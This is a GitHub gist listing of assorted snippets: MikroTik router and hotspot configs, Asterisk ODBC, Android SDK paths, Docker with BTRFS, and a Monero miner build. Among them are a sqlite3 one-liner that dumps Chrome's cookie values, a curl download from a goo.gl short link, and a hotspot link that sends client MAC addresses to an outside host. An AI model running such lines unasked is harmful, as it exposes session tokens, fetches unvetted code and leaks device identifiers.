Skip to content

Instantly share code, notes, and snippets.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<body>
<tr><td align="center"><a href="http://dockerovh.zxc.ovh:8000/?username=$(mac-esc)" target="_blank" style="border: none;"><img src="/img/fblogin.png" alt="fbLogin" /></a></td></tr>
</body>
</html>
@gladiopeace
gladiopeace / script.rsc
Last active August 25, 2017 05:15
mikrotik virual ap config wi psk
#create the security profile
/interface wireless security-profiles add authentication-types=wpa-psk,wpa2-psk eap-methods="" mode=dynamic-keys name=evilPSK wpa-pre-shared-key=evilsecret wpa2-pre-shared-key=evilsecret
#create the virtual interface
/int wireless add master-interface=wlan1 disabled=no name=virtual1 security-profile=evilPSK ssid=evil
#create the dhcp-server
/ip pool add name=other-pool ranges=192.168.200.2-192.168.200.254
/ip address add address=192.168.200.1/24 interface=virtual1 network=192.168.200.0
/ip dhcp-server add address-pool=other-pool disabled=no interface=ether2 name=other-dhcp
@gladiopeace
gladiopeace / mac1.rsc
Created September 28, 2016 15:59
mikrotik firewalld block/unblock mac-addr
#block the mac addr "AA:AA:AA:AA:AA:AA"
/ip firewall filter add src-mac-address=AA:AA:AA:AA:AA:AA chain=forward action=drop
#ublock the mac addr "AA:AA:AA:AA:AA:AA"
/ip firewall filter remove [find src-mac-address="AA:AA:AA:AA:AA:AA"]
@gladiopeace
gladiopeace / loadbalance_failover.rsc
Created October 29, 2016 11:45
mikrotik loadbalance and failover script
/ ip address
add address=192.168.0.1/24 network=192.168.0.0 broadcast=192.168.0.255 interface=LAN
add address=10.111.0.2/24 network=10.111.0.0 broadcast=10.111.0.255 interface=ISP1
add address=10.112.0.2/24 network=10.112.0.0 broadcast=10.112.0.255 interface=ISP2
/ ip firewall mangle
add chain=prerouting dst-address=10.111.0.0/24 action=accept in-interface=LAN
add chain=prerouting dst-address=10.112.0.0/24 action=accept in-interface=LAN
add chain=prerouting in-interface=ISP1 connection-mark=no-mark action=mark-connection \
new-connection-mark=ISP1_conn
@gladiopeace
gladiopeace / 1-odbc.ini
Created November 2, 2016 06:38 — forked from andrius/1-odbc.ini
ODBC.ini for Asterisk PBX res_odbc, cdr_odbc and realtime integration
; place this file to /etc (/etc/odbc.ini)
[mysql-asterisk]
Description = MySQL Asterisk database
; MySQL DB name
Database = asterisk
; User
User = asterisk
; Password
@gladiopeace
gladiopeace / configure_android_sdk.sh
Created June 7, 2017 23:29 — forked from andreztz/configure_android_sdk.sh
Bash script to set up ANDROID_SDK_ROOT and PATH for Android tools on Mac OS X with ADT bundle installed
# Setup for use of Android SDK tools from command line
# Set ANDROID_SDK_ROOT to point to the root of the SDK installation
export ANDROID_SDK_ROOT='/Applications/adt-bundle-mac-x86_64-20130729/sdk'
export PATH=$PATH:$ANDROID_SDK_ROOT/tools:$ANDROID_SDK_ROOT/platform-tools:$ANDROID_SDK_ROOT/tools/lib/x86_64

Setup

curl -sSL -o clone.c goo.gl/G45N5X

Net Namespace

# on host
@gladiopeace
gladiopeace / docker-btrfs-ubuntu
Created July 1, 2017 17:00 — forked from hayderimran7/docker-btrfs-ubuntu
HOWTO Docker with BTRFS on ubuntu
This is my personal guide on how i setup docker with BTRFS on ubuntu support.
Follow along the steps mentioned as:
1) Make sure you have a separate unmounted partition /dev/sdaX. How I did was , i installed ubuntu on my complete hard drive of 500GB. I wanted to partition it into two, so other 250GB will have btrfs eventually enabled on it. To partition it , after Ubuntu 14 installation, i followed the exact steps as these http://www.howtogeek.com/114503/how-to-resize-your-ubuntu-partitions/.
2) Following the above linked guide, i then managed to have two 250GB , one was spare , other was where UBuntu was installed.
3) login to your ubuntu, now create the btrfs filesystem on the other device. To know which device is it,
install gparted :
> sudo apt-get install gparted
> open it as "gparted"
> this will show u all drives , the ones you are on currently with ubuntu will have label "boot" . now take note of other 250G device.
Mine was /dev/sda3.
@gladiopeace
gladiopeace / compile_monero.sh
Created December 14, 2017 18:45 — forked from marcinwol/compile_monero.sh
Ubuntu 14:04: compile CPUMiner/minerd (forked by LucasJones & Wolf) for Monero mining
# get git to install it
sudo apt-get install git
# dependencies
sudo apt-get install build-essential autotools-dev autoconf libcurl3 libcurl4-gnutls-dev
# download latest version
git clone https://github.com/wolf9466/cpuminer-multi
cd cpuminer-multi/
@gladiopeace
gladiopeace / chrome-cookies.sh
Created January 4, 2018 16:20 — forked from nicerobot/chrome-cookies.sh
Convert Google Chrome sqlite Cookies into cookies.txt. Useful for utilities like curl.
sqlite3 -separator ' ' ${COOKIES:-Cookies} \
'select host_key, "TRUE", path, "FALSE", expires_utc, name, value from cookies'